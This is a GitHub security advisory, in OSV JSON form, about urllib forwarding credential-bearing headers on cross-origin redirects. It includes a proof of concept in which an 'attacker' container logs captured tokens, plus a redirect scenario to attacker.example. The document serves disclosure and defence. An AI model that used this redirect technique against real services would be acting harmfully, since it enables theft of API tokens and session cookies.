{"id":"GHSA-hq3h-g68c-hp78","summary":"urllib's cross-origin redirects preserve credential-bearing request headers, leading to potential credential leakage","details":"## Summary\n\nurllib supports redirect-following through `followRedirect`, which is expected behavior for an HTTP client. The issue is that, when following a redirect to a **different origin**, urllib preserves the caller-supplied request headers verbatim, including credential-bearing headers such as `Authorization`, `Cookie`, `Proxy-Authorization`, and custom auth headers (`x-api-key`, `x-auth-token`, `x-access-token`).\n\nIf the redirect target is attacker-controlled or outside the trust boundary of the original target, credentials intended for the original origin can be delivered to the redirected origin. In a local multi-library reproduction, urllib v4.9.0 was the only tested client that stripped no headers on cross-origin redirect.\n\n## Affected behavior\n\nConfirmed against urllib v4.9.0. The relevant code is in `#requestInternal` ([`src/HttpClient.ts:639-656`](https://github.com/node-modules/urllib/blob/master/src/HttpClient.ts#L639-L656)):\n\n```ts\n     // https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections\n      if (RedirectStatusCodes.includes(res.statusCode) && maxRedirects \u003e 0 && requestContext.redirects \u003c maxRedirects) {\n        if (res.headers.location) {\n          requestContext.redirects++;\n          const nextUrl = new URL(res.headers.location, requestUrl.href);\n          // Ensure the response is consumed\n          await response.body.arrayBuffer();\n          debug(\n            'Request#%d got response, status: %s, headers: %j, timing: %j, redirect to %s',\n            requestId,\n            res.status,\n            res.headers,\n            res.timing,\n            nextUrl.href,\n          );\n          return await this.#requestInternal(nextUrl.href, options, requestContext);\n        }\n      }\n```\n\nThe recursive call `this.#requestInternal(nextUrl.href, options, requestContext)` reuses the original `options` object. If the caller supplied credential-bearing headers in `options.headers`, those headers are reused for the redirected request, regardless of whether the redirect target shares the original origin.\n\n## Redirect-header handling context\n\nThe CHANGELOG suggests that redirect-related header handling has been considered before, including changes around preserving or cleaning up `Host` during redirects. Given that context, sensitive-header stripping may be an unintentional gap rather than an explicit policy decision.\n\n## Proof of Concept: 3-container topology\n\nThe reproduction uses three separate containers (`partner`, `attacker`, `client`) connected over a Podman bridge network. Each container has its own hostname, port, and process, so the redirect crosses a clear origin boundary. This is not a `localhost` vs `127.0.0.1` same-host case.\n\n```text\n[client container]                       [partner container]              [attacker container]\nhostname: client                         hostname: partner                hostname: attacker\n                                         port: 3001                       port: 3002\n   urllib v4.9.0\n        │\n        │ GET http://partner:3001/start\n        │ + 6 credential-bearing headers\n        ↓\n                                         302 Location:\n                                         http://attacker:3002/captured\n                                                   │\n                                                   │ urllib follows redirect\n                                                   │ → DIFFERENT ORIGIN\n                                                   │   (different hostname and port)\n                                                   │ → all 6 headers preserved\n                                                   ↓\n                                                                          headers logged\n                                                                          inside attacker\n                                                                          container\n```\n\nThe origin tuple is `(scheme, host, port)`:\n\n- source origin: `http://partner:3001`\n- destination origin: `http://attacker:3002`\n\nThe host and port both differ, so the redirect target is a different URL origin. The headers are logged in a separate process inside a separate container.\n\n**Client invocation** (`client/poc.mjs`):\n\n```javascript\nimport urllib from 'urllib' // v4.9.0\n\nawait urllib.request('http://partner:3001/start', {\n  followRedirect: true,\n  maxRedirects: 5,\n  headers: {\n    'Authorization': 'Bearer LIVE-AUTH-3CONTAINER',\n    'Cookie': 'session=LIVE-COOKIE-3CONTAINER',\n    'Proxy-Authorization': 'Bearer proxy-LIVE-3CONTAINER',\n    'x-api-key': 'sk-LIVE-3CONTAINER-x123',\n    'x-auth-token': 'auth-LIVE-3CONTAINER-y456',\n    'x-access-token': 'access-LIVE-3CONTAINER-z789',\n  },\n})\n```\n\n**Observed result**  \nurllib 4.9.0, Node.js 22.22.2, linux/arm64:\n\n```text\n[attacker] CAPTURED HEADERS:\n  \"authorization\":       \"Bearer LIVE-AUTH-3CONTAINER\"\n  \"cookie\":              \"session=LIVE-COOKIE-3CONTAINER\"\n  \"proxy-authorization\": \"Bearer proxy-LIVE-3CONTAINER\"\n  \"x-api-key\":           \"sk-LIVE-3CONTAINER-x123\"\n  \"x-auth-token\":        \"auth-LIVE-3CONTAINER-y456\"\n  \"x-access-token\":      \"access-LIVE-3CONTAINER-z789\"\n  \"user-agent\":          \"node-urllib/4.9.0 Node.js/22.22.2 (linux; arm64)\"\n\nLEAK RATE: 6/6\n```\n\nThe `user-agent` value confirms that the redirected request was sent by urllib v4.9.0.\n\n## Independent reproduction: multi-library comparison\n\nA separate local harness tested the same cross-origin redirect topology against multiple Node.js HTTP clients:\n\n- same `partner:3001 → attacker:3002` redirect;\n- same six credential-bearing headers;\n- same RFC 6454 origin boundary.\n\nThe results were deterministic across runs:\n\n| Library | Leak rate | Headers stripped on cross-origin redirect |\n|---|---:|---|\n| undici 6.21.0 | 3/6 | `authorization`, `cookie`, `proxy-authorization` |\n| needle 3.5.0 | 3/6 | `authorization`, `cookie`, `proxy-authorization` |\n| node-fetch 3.3.2 | 4/6 | `authorization`, `cookie` |\n| superagent 10.3.0 | 4/6 | `authorization`, `cookie` |\n| @hapi/wreck 18.1.0 | 4/6 | `authorization`, `cookie` |\n| request 2.88.2 | 5/6 | `authorization` |\n| **urllib 4.9.0** | **6/6** | **none** |\n\n`urllib` was the only tested library that stripped no headers on cross-origin redirect. Custom auth headers such as `x-api-key`, `x-auth-token`, and `x-access-token` are an ecosystem-wide gap in this comparison. The urllib-specific issue is the absence of any strip step for standard credential-bearing headers such as `Authorization`, `Cookie`, and `Proxy-Authorization`.\n\nThe reproduction harness is small and can be shared if useful.\n\n## Impact\n\nThis affects Node.js applications that use urllib to make authenticated HTTP requests while allowing redirects to be followed automatically.\n\n```text\n1. Application sends an authenticated request:\n     GET https://api.partner.example/data\n     Authorization: Bearer \u003ctoken\u003e\n     Cookie: session=\u003csession-id\u003e\n\n2. The partner endpoint, a compromised intermediary, or a misconfigured CDN returns:\n     302 Location: https://attacker.example/captured\n\n3. urllib follows the redirect and sends the original Authorization and Cookie headers\n   to attacker.example.\n```\n\nThis exposes credentials to an origin that was not the intended recipient. Depending on the credential type and server-side validation, the leaked credentials may be reusable against the original partner API or related services.\n\nThis requires no user interaction. Realistic triggers include compromised partner subdomains, DNS hijacking, malicious partner endpoints during onboarding, internal services redirecting across trust boundaries, or an open redirect upstream of urllib's call site.","aliases":["CVE-2026-55553"],"modified":"2026-08-25T23:49:20.860574642Z","published":"2026-08-25T16:19:32Z","database_specific":{"cwe_ids":["CWE-200","CWE-201","CWE-522"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-08-25T16:19:32Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/node-modules/urllib/security/advisories/GHSA-hq3h-g68c-hp78"},{"type":"WEB","url":"https://github.com/node-modules/urllib/pull/812"},{"type":"WEB","url":"https://github.com/node-modules/urllib/pull/813"},{"type":"WEB","url":"https://github.com/node-modules/urllib/commit/7c86c465883ebd3dea5109c87d7bbe3b00960a16"},{"type":"WEB","url":"https://github.com/node-modules/urllib/commit/811a8d56e64e540bf6a19bf8b3737692f05d5c46"},{"type":"PACKAGE","url":"https://github.com/node-modules/urllib"},{"type":"WEB","url":"https://github.com/node-modules/urllib/releases/tag/v2.44.1"},{"type":"WEB","url":"https://github.com/node-modules/urllib/releases/tag/v4.9.1"}],"affected":[{"package":{"name":"urllib","ecosystem":"npm","purl":"pkg:npm/urllib"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"4.9.1"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 4.9.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-hq3h-g68c-hp78/GHSA-hq3h-g68c-hp78.json"}},{"package":{"name":"urllib","ecosystem":"npm","purl":"pkg:npm/urllib"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.44.1"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 2.44.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-hq3h-g68c-hp78/GHSA-hq3h-g68c-hp78.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}